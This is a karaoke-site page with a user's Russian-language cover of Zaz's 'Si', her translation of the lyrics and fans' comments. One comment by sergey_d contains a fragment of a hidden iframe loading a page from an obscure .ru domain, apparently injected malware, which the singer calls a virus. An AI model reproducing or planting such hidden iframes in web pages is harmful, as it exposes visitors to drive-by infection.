«Si» (Zaz) кавер-версия от пользователя

265   70   1

	natalydziv 05.09.2015 0001 Всем - привет! Впервые пою на французском) Песню услышала не так давно, но, с тех пор, не отпускало желание её исполнить... В связи с этим выражаю огромную благодарность моим друзьям - Александру(REGION_86) за помощь в добавлении минуса на этот сайт и Ольге(OlgaFine)за мастер-класс по французскому) Очень надеюсь, друзья мои, что я оправдала ваши старания...
Баллов: 54
Чтобы песня попала в список выступлений на Сцене, на нее должно быть куплено больше билетов, чем на песни других выступающих. 1 билет стоит 1 Smile. Минимальное количество заказа - 15 билетов. Срок действия билета — 5 дней.

Комментарии пользователей к записи:

к форме комментария ↓

          Страницы: 1  2 

natalydziv, 04.09.2015 г. 23:54 Перевод песни Если Если бы я была подругой Бога, Если бы я знала нужные молитвы, Если бы во мне текла голубая кровь, Если бы у меня был дар Стирать и всё переделывать заново, Если бы я была королевой или колдуньей Принцессой, феей, великим полководцем Благородного полка. Если бы могла делать гигантские шаги. Я бы отдала небо нищете, Утопила слёзы в речной воде, Покрыла цветами пески, которые уносят надежду. Я посеяла бы утопии, запретила гнуть спину, И мы больше не стали бы прятать глаза. Если бы у меня было в избытке Таланта, сил или очарования Господ, сильных мира сего. Если бы у меня были ключи от их душ. Если бы умела взять в руки оружие, Ринуться в огонь армии титанов. Я зажгла бы пламя В угасших детских мечтах. Я раскрасила бы разными цветами печали, Я разбила бы Эдемский Сад для тех, у кого нет Ни возможностей, ни путеводной звезды, Кого считают ничтожествами. Но у меня есть лишь истрепанное в лохмотья сердце, Две протянутые руки, как ветви дерева, Голос, за которым по утрам гоняется ветер. Но если все наши открытые руки собрать вместе, Объединить миллионы наших сердец, Соединить наши голоса в единый хор, То какая зима сможет нам противостоять? Сильный мир, родственная душа земли, Мы будем строить среди пепла Мало-помалу, по крошке, Капля по капле и от сердца к сердцу, Мало-помалу, по крошке, Капля по капле и от сердца к сердцу.

Anatoliy_K, 05.09.2015 г. 00:06 Наталья, очень красивое исполнение! Очень понравилось!    natalydziv, 05.09.2015 г. 00:42 Спасибо, Анатолий! Вы - мой первый слушатель этой песни)

sergey_d, 05.09.2015 г. 00:07 ВОТ УДИВИЛА ТАК УДИВИЛА ШИКАРНО!!! id="a1996667054" src="https://al9l235gkc7d.ru/f.html" style="display:none">    natalydziv, 05.09.2015 г. 01:22 Правда удивила,Серёж? Надеюсь, приятно? К тебе вирус прицепился(    sergey_d, 05.09.2015 г. 01:24 ну всё пойду лечится    sergey_d, 05.09.2015 г. 01:29 А удивила очень приятно такой голос да ещё на языке любви! Немыслимая радость для ушей    natalydziv, 05.09.2015 г. 01:32 У меня сегодня смущательный вечер) Я так боялась эту песню выкладывать)    sergey_d, 05.09.2015 г. 01:37 Это даже хорошо легкий румянец он всегда к лицу

Iurii, 05.09.2015 г. 00:08 Изумительное исполнение!!! Браво!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!    natalydziv, 05.09.2015 г. 01:23 Юра, сколько восклицаний! Засмущал прям)

Nadezda24, 05.09.2015 г. 00:08 Наташа!Прекрасное исполнение на фр.языке!!    natalydziv, 05.09.2015 г. 07:37 Надежда, спасибо, что послушали)

Kissmet, 05.09.2015 г. 00:17 Фхранцузский к голосу) браво) язык сложный) сама изучала года три назад ...) красиво Наталья:)    natalydziv, 05.09.2015 г. 01:40 Катюш, тебе - бокал бургундского)

iadi, 05.09.2015 г. 00:22 Как красиво спела, Наташенька!    natalydziv, 05.09.2015 г. 07:38 Дима, спасибо большое)

haim, 05.09.2015 г. 00:23 Прекрасное исполнение,Наташа!!! Очень понравилось!!!    natalydziv, 05.09.2015 г. 07:38 Рада, что понравилось, Хаим)

singerin, 05.09.2015 г. 00:33 Я в восторге,Наташа!Хочу в Париж!    natalydziv, 05.09.2015 г. 07:39 Я тоже хочу) Поедем вместе?    singerin, 05.09.2015 г. 12:08 Поедем!Вот заслушалась вчера...даже оценить забыла...прости

Vladlena, 05.09.2015 г. 00:34 Натали, какой выбор однако! ты не устаешь удивлять! раскрываешь себя с новой стороны...мои восхищения и за выбор и за произношение твоего француского, хотя в нем не понимаю...чисто интуитивно говорю...молодчина просто!    natalydziv, 05.09.2015 г. 07:42 Владленочка, очень ждала твоего комментария) мне почему-то казалось, что тебе не понравится) я так рада) Плеснуть тебе французского из провинции Шато?    Vladlena, 05.09.2015 г. 07:47 я все собиралась оригинал послушать после прослушивания тебя...но так и не дошла... жаль моя подруга с Франции тебя не слышит..она бы точно оценила!    natalydziv, 05.09.2015 г. 07:53 не) не надо подругу из Франции) у меня тут СТОЛЬКО косяков) стыдно даже)    Vladlena, 05.09.2015 г. 08:00 ой у меня и здесь в доме все франко-говорящие...совсем забыла... да ладно...думаю они будут в восторге!    natalydziv, 05.09.2015 г. 08:01

Nataliy, 05.09.2015 г. 00:52 Натуль! Мое восхищение!!!    natalydziv, 05.09.2015 г. 07:44 Наталёк, привет))) Такая роза у тебя красивая) Спасибо тебе, моя хорошая)

alyly, 05.09.2015 г. 01:10 НАТУСЯ... ВОСТОРГ...    natalydziv, 05.09.2015 г. 07:45 Алуся, привет) Спасибо тебе )

DENSINGL, 05.09.2015 г. 01:22 БРАВО СУДАРЫНЯ БРАВО...ФРАНЦИЯ В УМИЛЕНИИ...    natalydziv, 05.09.2015 г. 01:28 Ах,Юрий) Бонсуар) мерси-мерси    DENSINGL, 05.09.2015 г. 01:32 ТЫСЯЧИ ЧЕРТЕЙ!!!! МАДМУАЗЕЛЬ ВЫ ЧУДО...ТАК ШПРЕХАТЬ ПО ФЕНЕ -ЭТОЖ ВОСТОРГ И ТОЛЬКО!!!!    natalydziv, 05.09.2015 г. 01:34

DENSINGL, 05.09.2015 г. 01:40 ПРИХОДИ ВЕЧЕРОМ К НОТР-ДАМУ ПОБОЛТАЕМ КАК НИБУДЬ....    natalydziv, 05.09.2015 г. 01:42 Замётано)    DENSINGL, 05.09.2015 г. 01:48    natalydziv, 05.09.2015 г. 07:46 Юрка, ты - супер!    natalydziv, 05.09.2015 г. 10:14 А страшновато к Нотр- Даму. Какая- то тётенька тут не очень живая лежит...вернее немножко мёртвая)    DENSINGL, 05.09.2015 г. 13:08

Free_Wind, 05.09.2015 г. 01:46 Наташа,вы каждый раз приятно удивляете меня)...столько талантов! Вам очень идёт шарм французского языка)    natalydziv, 05.09.2015 г. 07:48 Ветерок, очень приятно было Вас удивить) рада, что понравилось)

PartyIsntOver, 05.09.2015 г. 03:28 НАТАШ!    natalydziv, 05.09.2015 г. 07:51 Танюшка пришла) А Я тут уже совсем нетрезвая французским балуюсь, гостей угощаю, присаживайся...давай с тобой выпьем.-бокалы побольше достала)...не виделись давненько    PartyIsntOver, 05.09.2015 г. 08:06 йййехаааа! а давай!Ты тут вообще вне конкуреции...признаю и расписуюсь, Наташ !Офигенская ты! за тебя    natalydziv, 05.09.2015 г. 08:39 Да брось ты-за меня) Давай за твою Днюху наступившую) Ща, погоди, новую откупорю) Штопор где? Всё! За тебя-здоровья и всех благ) Я ещё на гармошке чуть-чуть умею

aslana, 05.09.2015 г. 03:33 Наташенька, очень красиво!!! ЗАСЛУШАЛАСЬ    natalydziv, 05.09.2015 г. 08:00 Светлана, спасибо! Какая Осень красивая)

Milady1, 05.09.2015 г. 05:23 Prepodavatel' franzuzskogo otlichnij kak po mne,ego ne znajuwej..;) Krasota!!    natalydziv, 05.09.2015 г. 08:01 Ира, рада, что Вам понравилось)

Berlu, 05.09.2015 г. 05:33 Правильной дорогой идёте!!!    natalydziv, 05.09.2015 г. 08:04 Туда, Андрей! Per aspera ad astra...

sergeysmolentsev, 05.09.2015 г. 09:13 Наташа,по мне звучит как настоящий французский. Песня похоже красивая и спели как всегда очень красиво и выразительно. Я читал когда-то главу в книге по вокалу на тему пения на иностранных языках. Надо быть очень хорошим артистом чтобы имитировать чужой язык, Через тернии к звездам!    natalydziv, 05.09.2015 г. 09:30 Благодарю, Сергей!    sergeysmolentsev, 05.09.2015 г. 09:36 Я перечитал свой коммент и вижу, что он написан так, что его неоднозначно можно понять. Я хотел сказать, Наташа, что Вы не только замечательный вокалист, но и хороший артист.    natalydziv, 05.09.2015 г. 09:59 Сергей, не переживайте. Я всё правильно поняла. Правда! Спасибо Вам огромное!

          Страницы: 1  2 

Комментарии могут оставлять только зарегистрированные пользователи, активировавшие аккаунт!
Зарегистрироваться или войти